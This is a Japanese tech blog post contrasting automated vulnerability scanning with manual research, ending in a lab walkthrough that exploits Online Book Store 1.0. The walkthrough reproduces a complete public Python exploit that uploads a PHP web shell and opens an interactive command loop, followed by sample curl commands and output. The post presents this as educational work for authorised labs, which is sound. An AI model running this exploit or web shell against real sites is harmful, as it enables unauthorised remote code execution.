1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

【セキュリティ】自動スキャン vs 手動リサーチ — 脆弱性発見の“良いとこ取り”

Last updated at Posted at 2025-10-29

はじめに

自動スキャンはスピードと再現性が強み、手動リサーチは創造力と深掘りが強み。実務では両者を組み合わせ、まず自動で“広く”、次に手動で“深く”掘るのが王道。

この記事ではツール・ワークフロー・注意点・学習ロードマップまで、実戦で使える形でまとめます。


概念

  • 自動スキャン(Automated):Nessus、OpenVAS、Qualys、Rapid7(商用含む)、オープンソースのスキャナ群。「早い」「繰り返せる」「チーム共有しやすい」が利点。大量の対象に短時間で一貫したカバレッジをかけられる。

  • 手動リサーチ(Manual):Burp Suite(手動+拡張)、カスタムスクリプト、git/GitHub上のPoC、Exploit-DB/ searchsploit、Metasploitモジュールの読み込み・修正。人間の直観と創意工夫で検出・再現しにくい脆弱性を見つける。

自動→フィルタ→手動深掘り のサイクルを回す。自動だけに頼ると「見落とし」を生むし、手動だけだと時間が無限に飛んでいく。


自動スキャンの利点と落とし穴

利点

  • スピードとスケール:数百サーバでもスキャン可能。
  • 標準化・再現性:同じ設定で定期スキャンすれば差分が見える。
  • チーム共有:レポート形式(PDF/CSV)で経営層や他チームに渡しやすい。

欠点 / 注意点

  • ノイズ(誤検知) が多い → 人手で取捨選択が必要。
  • 大きなトラフィックを出す(「ラウド」)ため、許可なく実行すると検出されやすく、場合によってはサービスの障害を招く。
  • 深いロジックバグやビジネスロジック欠陥は検出困難
  • 過信厳禁:ツールが“見つけない”=“安全”ではない。

手動リサーチで使う主要リソース / ツール(実戦向け)

  • Rapid7 / Metasploit:エクスプロイトDB+モジュールで実行環境を整えられる
  • GitHub:最新のPoCや未公開に近いリサーチが置かれることがある(タグ: PoC, exploit, cve
  • Exploit-DB / searchsploit:オフラインで使える便利なエクスプロイト検索ツール。Kali や TryHackMe の AttackBox に標準装備されていることが多い。
  • Burp Suite(Community/Pro):プロキシ+手動ペイロード生成、拡張で自動化も可能
  • Nmap / NSE:サービス特定、初期列挙に強い
  • ブラウザ + デバッガ(DevTools) / Fiddler / mitmproxy:JavaScript や API レスポンス観察、CSRF/Session 解析などに

実例:searchsploit の使い方(端末)

root@ip-x-x-x-x:~# searchsploit Online Book Store 
---------------------------------------------- ---------------------------------
 Exploit Title                                |  Path
---------------------------------------------- ---------------------------------
GotoCode Online Bookstore - Multiple Vulnerab | asp/webapps/17921.txt
Online Book Store 1.0 - 'bookisbn' SQL Inject | php/webapps/47922.txt
Online Book Store 1.0 - 'id' SQL Injection    | php/webapps/48775.txt
Online Book Store 1.0 - Arbitrary File Upload | php/webapps/47928.txt
Online Book Store 1.0 - Unauthenticated Remot | php/webapps/47887.py
Online Event Booking and Reservation System 1 | php/webapps/50450.txt
---------------------------------------------- ---------------------------------
Shellcodes: No Results

脆弱性タイプの理解

  • Security Misconfiguration — 環境設定ミス(例:デバッグ情報漏えい)
  • Broken Access Control — アクセス制御不備(権限昇格・参照横取り)
  • Insecure Deserialization — シリアライズデータの悪用(RCEにつながることも)
  • Injection(SQLi, Command Injection 等) — 入力を適切に処理していない

OWASP Top 10 は必読。実務で出てくるパターンの多くはここに集約されます。


実例:Online Book Store v1.0 の RCE(手順・再現)

以下は教育目的・許可されたラボ環境でのみ実行してください。

背景

  • ターゲット:Online Book Store 1.0(脆弱箇所:管理用 admin_add.php 等の未認証ファイルアップロード)

  • 公開情報:Exploit-DB に 47887 として RCE PoC が登録されている。NVD にも CVE(例:CVE-2020-10224)として登録されている。

実行例(簡潔)

1.searchsploit で該当 exploit を探す(例は lab 上での出力)
root@ip-x-x-x-x:~# searchsploit Online Book Store 
---------------------------------------------- ---------------------------------
 Exploit Title                                |  Path
---------------------------------------------- ---------------------------------
GotoCode Online Bookstore - Multiple Vulnerab | asp/webapps/17921.txt
Online Book Store 1.0 - 'bookisbn' SQL Inject | php/webapps/47922.txt
Online Book Store 1.0 - 'id' SQL Injection    | php/webapps/48775.txt
Online Book Store 1.0 - Arbitrary File Upload | php/webapps/47928.txt
Online Book Store 1.0 - Unauthenticated Remot | php/webapps/47887.py
Online Event Booking and Reservation System 1 | php/webapps/50450.txt
---------------------------------------------- ---------------------------------
Shellcodes: No Results

それとも https://www.exploit-db.com/exploits/47887 にアクセスして

スクリーンショット 2025-10-29 18.12.14.png

'Online Book Store 1.0 - Unauthenticated Remote Code Execution'の項目を見つけた。

https://www.exploit-db.com/exploits/47887 にアクセスして

スクリーンショット 2025-10-29 18.15.43.png

EDB Verified: の属性はとても重要です。検証済みではないなら、スクリプトは使用できません。

このスクリプトはもう検証済みでした。

# Exploit Title: Online Book Store 1.0 - Unauthenticated Remote Code Execution
# Google Dork: N/A
# Date: 2020-01-07
# Exploit Author: Tib3rius
# Vendor Homepage: https://projectworlds.in/free-projects/php-projects/online-book-store-project-in-php/
# Software Link: https://github.com/projectworlds32/online-book-store-project-in-php/archive/master.zip
# Version: 1.0
# Tested on: Ubuntu 16.04
# CVE: N/A

import argparse
import random
import requests
import string
import sys

parser = argparse.ArgumentParser()
parser.add_argument('url', action='store', help='The URL of the target.')
args = parser.parse_args()

url = args.url.rstrip('/')
random_file = ''.join(random.choice(string.ascii_letters + string.digits) for i in range(10))

payload = '<?php echo shell_exec($_GET[\'cmd\']); ?>'

file = {'image': (random_file + '.php', payload, 'text/php')}
print('> Attempting to upload PHP web shell...')
r = requests.post(url + '/admin_add.php', files=file, data={'add':'1'}, verify=False)
print('> Verifying shell upload...')
r = requests.get(url + '/bootstrap/img/' + random_file + '.php', params={'cmd':'echo ' + random_file}, verify=False)

if random_file in r.text:
    print('> Web shell uploaded to ' + url + '/bootstrap/img/' + random_file + '.php')
    print('> Example command usage: ' + url + '/bootstrap/img/' + random_file + '.php?cmd=whoami')
    launch_shell = str(input('> Do you wish to launch a shell here? (y/n): '))
    if launch_shell.lower() == 'y':
        while True:
            cmd = str(input('RCE $ '))
            if cmd == 'exit':
                sys.exit(0)
            r = requests.get(url + '/bootstrap/img/' + random_file + '.php', params={'cmd':cmd}, verify=False)
            print(r.text)
else:
    if r.status_code == 200:
        print('> Web shell uploaded to ' + url + '/bootstrap/img/' + random_file + '.php, however a simple command check failed to execute. Perhaps shell_exec is disabled? Try changing the payload.')
    else:
        print('> Web shell failed to upload! The web server may not have write permissions.')
            
2.PoC(47887.py)を実行する例
# python3 47887.py http://TARGET_IP
> Attempting to upload PHP web shell...
> Web shell uploaded to http://TARGET_IP/bootstrap/img/abcd1234.php
> Example command usage: http://TARGET_IP/bootstrap/img/abcd1234.php?cmd=whoami
# curl 'http://TARGET_IP/bootstrap/img/abcd1234.php?cmd=whoami'
www-data
# curl 'http://TARGET_IP/bootstrap/img/abcd1234.php?cmd=cat flag.txt'

> Do you wish to launch a shell here? (y/n): y
RCE $ cat flag.txt
THM{BOOK_KEEPING}


まとめ

  • Nessus(Tenable) — 商用/Community
  • Rapid7(Exploit DB + Metasploit 情報)
  • GitHub — PoC の宝庫(ただし品質は玉石混交)
  • searchsploit / Exploit-DB — オフライン検索便利
  • OWASP Top 10 — 理解の核

1
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?